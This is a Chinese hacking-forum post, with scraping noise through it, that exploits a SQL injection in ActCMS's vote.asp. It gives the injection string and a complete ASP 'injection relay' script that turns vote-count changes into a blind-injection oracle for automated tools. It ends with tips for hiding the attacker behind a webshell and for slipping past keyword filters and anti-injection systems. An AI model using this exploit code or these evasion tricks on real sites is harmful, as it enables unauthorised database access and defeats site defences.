E' ^6 y! g( b* a( C- W3 s3 q- C看到ninty大牛的blog的一篇文章6 [+ [, r* B8 E/ z
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]7 Q0 ~% y) W! }9 ]$ k$ `5 {
关于actcms漏洞的利用 by 3x qq:381862589
$ Z) w2 [& n+ H1 J# x- F) D转载请注明以上: V0 ^, t2 q: [) s
漏洞文件:: T- l% V7 c1 j6 [) _# h* Z; z
/plus/vote/vote.asp2 c2 ?, P. } x, A( E3 @6 w
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then ( f- V0 p) Z5 U( l7 O4 W
5 c9 x! e2 Z F2 response.write "<script>alert('请选择投票项目。');window.close()</script>" 4 z; k2 Z, q1 \; [/ ^8 f
- B( A. I8 C- e3 response.end 6 ]+ [" _" x" g% t, @
- ]$ p" O% U; D9 y4 end if , V' U" T7 {* t3 P
' Q. A p& n' b8 w: x( v% D
5 for i=1 to request("voted").count
9 h# k+ `+ d- F- V, O0 |1 E9 ^! }, U
# E; e P, H; m: X8 p1 d6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) 9 w# m" @: r+ A4 O' U
; p. R5 ]6 @; d! L7 next
' R4 u# Y! t" n* E0 ]# r5 e$ o; h# @ G! T5 `" P1 Z p
8.... 3 V4 u! R; }* f* ]0 `4 ]+ g
- k3 E8 `; }! u0 V7 c. L
9response.Redirect "index.asp?id="&id&""
4 Z, L. J% b A9 z0 [1 v; Q" B投票结束回跳转回index.asp这个投票结果页面
: G T/ ^6 U0 H% P1 U! H* p如果投票成功票数加1# k/ c. g J6 q% M5 o
失败票数不变! b+ P4 t& Q; v
如图:) {/ }' _" X/ I8 n
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)2 F$ q1 W% N% Q5 [( D9 U3 a9 T; H1 Z
# a+ u- e& x( ` n/ t9 ]' k7 V: v" e' T
2009-12-27 13:202 h6 J. O/ f9 G2 j9 {2 f( \
9 q/ c/ n5 {( l! f* B
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
1 H4 ?, G0 w5 H) j- ]) B" D1 n8 j* a6 Z
本帖隐藏的内容需要回复才可以浏览; n: X' J0 C% u/ ^1 t/ y9 i
我们用注入中转来实现这个注入具体代码如下:
5 i, Y1 p% g+ S7 F先用寂寞的刺猬大牛的注入中转生成jmget.asp. C: u& C, }, j* T; X% u) j
注入地址:http://localhost/actcms/plus/vote/vote.asp
/ k3 R9 |. C2 w' g( b注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
& G# t9 k. U' G6 A: R
7 C0 G7 Z/ F5 `+ V然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% p7 ]1 C- i* J' l
. @" K+ t! T Y0 J; t02JmdcwName=request("jmdcw") 9 J) x3 c: a, p; m) M9 V
5 g' {& {* S# E+ L
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 9 e$ x; y. _# z G6 A( g+ z
; u: ~6 z& s1 h5 G% U1 s9 X) }04JmStr="id=1&voted=-1 or 1="&JmdcwName * n6 @( w9 x3 {# H A5 p3 J
0 I5 C3 o. b; a0 k: U! F) `05JmStr=URLEncoding(JmStr) & l+ s) q9 [* G A
& m+ l( f b3 O8 `# T4 P; G( i06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
6 I* x3 X5 K& T; ^( L9 }! b! |! K- S! T1 ?! n
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"$ s+ D* v. k5 e$ [
0 u2 Y$ E+ y% ^/ r
08testurl=testurl & "?" & JmStr ! R2 y# X- }4 F0 b
% _' y' G7 f, {: g( [6 {. b09JMUrl=JMUrl & "?" & JmStr
/ i* k* M$ J$ F( I4 o& u) {, e C- v( Q" j
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"0 `# u% @0 }- a5 I2 d3 U+ V
y; K4 @$ j+ Q& G9 x+ F
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
. F- i% _3 ^! d/ W$ x
6 E/ j* S( P7 ~7 K8 P12JmCok=replace(JmCok,chr(32),"%20") : b- U7 D1 z3 v9 L6 o) F* w
8 ]- u/ n* l, k2 \1 b* s" u0 ~13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 3 H0 |' }( \# L. d/ S
4 q, `) N* X4 n) u( a; J4 b. V14
# _& s3 F, U8 Q- O. P" Y2 e
1 \' O: ]4 [1 B/ B15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
k, @: S( t6 Z
# m6 w, D3 S9 r0 h: _16
3 d1 A) M# u7 f5 N3 q1 W, B) P1 K. ~, o7 l9 _1 b0 k
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 6 }( `) o" m" [( k. ^9 T. @* `1 E E
& u$ N4 H1 a# J6 L2 @: m18response.write test1&""&test2&""
) T2 a$ @$ g I$ v5 l J2 d& S7 p H3 G) l6 _' r C( u
19
" y+ T9 c Y v2 K" E4 g
* b3 I4 j" y+ w9 K; s20if test1=test2 then '如前后记录相等,表示失败
. w& A3 N( Z3 x7 ?# Z+ }% c$ H/ N0 J- G$ v- ?/ c7 r
21 response.write "failed"
' ]1 U k/ n* l. M" E" ^' X* u+ a$ [
22else ( g) \9 ]. \$ @2 g/ b" g' d
) c+ }% b6 p) q- \! o' Q23 response.write "succeed"
7 B5 l1 E' w; S5 r p
, M+ A) O9 c' B- Q2 N3 M) i# O* g24end if
$ ~% P: J: f9 \' k
1 C+ {' Q X1 a: q# ?( t# |- ^8 T* I25
: r/ W$ N/ l) S5 D f$ T5 T2 J% p- I) F7 U
26response.write "by 3x"
: a4 R. Z$ r6 B# Z V
; Q& M' G I% D) Q+ x' c/ h27 , v+ O8 K. {' R7 ^5 l
: s: u- _! [/ |4 g2 T$ a" i: M$ T
28
4 z3 W7 i; A! A* y! ]3 k& j% a- X. I% j
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
4 q. B0 i! X8 Z, U$ a
# @2 v$ \& Z7 H; z30Dim Http 6 W; f' u& A5 [2 G P
& o2 O2 A: D' f4 `% H0 _- @
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
. A1 g* z2 P# m6 X/ b1 v, i, l* N$ z- {, n [# B
32With Http
9 o- F! `* O+ x' G- ?
7 w) ^( K! h! G% Y: L$ j: `33
# m# Q4 N7 N4 n' Z
) [! c3 M) a5 y& t, V% }34.Open "GET",PostUrl,False
! g# ]" ~& i9 q* m) P4 M- P& q' N6 g- I/ [: n# z; a9 C
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"& W( n0 C* @# g" r/ X
& {: l! ]$ ~% k) }) a' U36.SetRequestHeader "Referer",PostRef . a4 ~( V6 L( S; r% Z G ^
7 w. u8 l# h+ c- z" I0 p4 G& P37.SetRequestHeader "Cookie",PostCok
$ \2 l7 r$ M2 D
: W" D0 H# V# s1 [6 N0 ` q* z38.Send ()
: X, B& ] \( H. U \! E
2 N1 _7 J1 _, U5 V39PostData = .ResponseBody 7 L7 e5 c! A, r
0 s& f5 l/ F9 W# _5 H40End With
' `& O6 y- @) s% v
; X5 Z- K! i5 X& W2 j41Set Http = Nothing7 \1 |& M# s/ `2 E2 b0 ?
% h. ]3 U; M4 D8 \2 H3 y! z42PostData =bytes2BSTR(PostData)
; r. L5 G" f4 V4 l
( c$ ^/ I: V# N1 b' {' e* Q4 E( \2 p43End Function
6 Y3 V" w* W8 p/ g8 f7 f. G: V0 G# a9 D; \
44
- ]: X% n' ?6 T9 |) C# M7 [7 T" ~# k/ K
45 2 S' }2 J# e' w" X7 s
$ J# d$ s6 B" S0 ^4 h4 S# N. T6 ~46Function bytes2BSTR(vIn) & A G& r& |4 U% `; L8 z; r
4 `1 B6 [$ V" @$ r' K47Dim strReturn
) {. l) y" E, Z8 V5 }+ ~; U _0 d1 T
48Dim I, ThisCharCode, NextCharCode 9 h) F9 `, y( u2 b( {
1 z/ T; z7 M6 T2 S9 d6 h( ?49strReturn = ""; }, y3 s. K6 z) O3 j# m* J2 Y
3 }& e& H, o+ C
50For I = 1 To LenB(vIn)
2 M3 u/ h2 Q9 d$ d! [* Y" _0 p& p" [) n/ _+ @4 u' G
51ThisCharCode = AscB(MidB(vIn, I, 1))
* I" [4 }5 ~; e/ L/ b1 l
9 h; M" Q6 k, I7 {52If ThisCharCode < &H80 Then1 [0 C" u' n1 `, z
. g9 F4 d7 f3 q1 M0 U; _
53strReturn = strReturn & Chr(ThisCharCode) 5 o! E* L# w D! ~ Y- L+ Z. d
" ^) F& X" g2 ]54Else
4 E! s8 g2 x3 `# I
4 l& }) |8 L4 l6 \8 x) a. O55NextCharCode = AscB(MidB(vIn, I + 1, 1)) # X& ?! T/ b$ M, H& k9 m4 I9 @
! D- d1 Y1 U1 F) ], p
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) " [8 w, W, n& X( ]5 i2 [2 C
: r% ]/ {: G$ I- V' i. m57I = I + 1 3 y% {$ _4 l2 |; Q; K+ `" v
5 P" x) o/ c; {: O0 @# ]6 t58End If3 O( s0 r# c5 C8 p0 i/ L
& C$ P* F) ]& `59Next6 }7 D, X3 S3 s5 K
0 x( `/ T a, U
60bytes2BSTR = strReturn
% i& S/ B2 J ?1 j7 v5 m
4 v. T8 t% W% l& r9 Q61End Function& T7 [& I1 E5 \/ |9 y
6 i; p$ G. n3 Y! ^) ~5 {62 + ^) f l6 D, D* [( j5 U* l2 |$ q9 f" e
( [$ A8 z9 k1 z9 P/ E4 w* q6 K, R e% y
63Function URLEncoding(vstrin)
e. p9 t1 L/ ~0 I$ x5 x3 Z. ^6 ~' O3 H! x. r% m7 k, G7 U6 [
64strReturn=""' _ _0 ^3 ?+ _0 _+ ^
2 I4 I+ K# a/ V1 o* b
65Dim i ) a- ^: K8 a% s y6 G
% w5 q/ I0 m# T ` Z+ l66For i=1 To Len(vstrin)
5 v* J$ x$ ^' D2 h
4 I: m K/ V' x3 C6 S67ThisChr=Mid(vstrin,i,1) 9 k7 b3 X; R3 x0 l% [! y
% @4 M$ y4 f; j4 r' a' R, M
68if Abs(Asc(ThisChr))< &HFF Then6 q; Z1 L7 M' W, E, l" q1 T
$ `- P) ]# X4 _- H) L( T
69strReturn=strReturn & ThisChr ) V4 Z' T; v4 r6 J
' B; a% X; q) T( y2 \) ?! g
70Else; D9 S, F: A( S4 f& O5 s3 O
/ r! r$ i- }, z: }71InnerCode=Asc(ThisChr) & R/ ]9 z) u2 _* ~6 K
7 b3 F! |" W3 w1 ~
72If InnerCode<0 Then) _; F+ y7 E: i& A5 A
$ i3 L( m: w: D/ W
73InnerCode=InnerCode + &H10000
; H1 Q5 h3 L+ D2 U0 W7 A+ X6 W& |5 X. B+ N; a4 h. ~7 R! ]5 l; @
74End If, E: R# @) {3 H+ K& ?5 T* H6 n, `' _
2 w9 |. Y* D. ~$ z& _
75Hight1=(InnerCode And &HFF00) \&HFF # {1 z9 F2 A. U; Y2 ?
2 z) ^ U& @; ?/ e2 f
76Low1=InnerCode And &HFF * Z0 U* o" e7 W5 E1 N/ @& I- e
% I4 b- G/ v! y77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 1 ~/ u# T# o6 Z( C4 B9 y
! B4 L/ E9 n* f7 h6 c3 ^
78End if 2 @2 Y+ K0 Q' D9 V
7 d R- Q# X" p& v; R79Next( v, [; ?8 h! V) {9 U$ b1 m
! Z) L1 ` i# j4 E80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 ^6 u- c) E7 V2 ?0 ]5 m" U N2 ~6 N
6 f4 s$ W* p: T" E- N$ g81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 8 ~6 @6 D9 N1 I+ m
. e0 G9 t7 s2 n; C. e. S
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 9 o' k4 i6 H/ \- Z a
0 C% J M! @$ N3 K( j0 d% v9 v0 Z1 A83URLEncoding=strReturn : V: m4 W9 S4 r9 ~7 Y/ E6 E0 e
c& c) }* T9 v. F. N84End Function! r) x1 s; Q. ^ X
7 {: |3 p7 I& I( C" e$ _. w2 v) R85 : n4 i6 U6 g$ D; y( P5 t" L
% p/ F, J0 v0 _& N* D86function getSt(body) 9 J$ I$ x: f4 ?( s) ^% v' N6 C
2 ] ~' @; k/ h) g( Y! z; {+ x, b87 startpot=instr(body,"投票人数:")+len("投票人数:")
% N! t+ ]1 r# m+ {6 q. [* j
* `; l! b. v% }88 endpot=instr(startpot,body," ")
: Z, t7 y6 h) E
4 A0 S+ e/ ?( B( W$ J89 getSt=mid(body,startpot,endpot-startpot)
}1 F# [0 Y9 n1 _; m2 l% l3 t- D- S) m
90end function 7 q& b9 P. j+ z2 U' b
* f' @5 [& v1 g6 ~91%>
8 b& m' u' f- D( `注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了& g+ `+ _2 J* R( |, B: r. J$ D
测试下效果: \4 ?5 Z$ I1 R1 a0 w( g
投票成功:
7 t! l( b& K! R( R- _http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)8 g4 L& m% v5 A2 y
, f1 ~9 r+ o0 a1 ^
2009-12-27 13:29. T5 a9 g% ~! \4 a; y
投票失败 v, E* I1 P9 ~# k, E9 v a3 s
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)3 l; ^: O* ?; T' m' _# ] l9 d6 D
7 A5 b) S! Y/ Y" a/ M8 F# t- F1 E
2009-12-27 13:29" c' P8 Z% T3 M. `. D3 A
-------------------------------------------------------------------------------
& o) Y8 s- Q/ Z再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
( {. @& L- p. W+ D很抱歉。。。只能用单线程工具去注入。。。。。+ K1 A9 W5 a' d" p
所以失败。。。不好意思。。。7 P6 b' B, `& @2 _" e$ p
-------------------------------------------------------------------------------
4 C* s2 ]5 e: U' [# p. i# M! @+ j5 z8 j i& u @# ]
注入中转的一些其他应用
! ^2 [9 K9 t! [- D K7 I& Y; r其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
; b1 X: [8 X, u& h% B' ^0 }1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
0 D" a) H q. t- W: ]2 O2.post注入转成get型的注入,方便我们使用工具来跑7 ~* ~1 p# e. M+ d% i! m/ G
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
0 T( n' l" N* F$ C4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过2 c# U7 \8 Q8 L# A7 q. I
+ `. O3 a5 U3 _! r7 \. F+ y |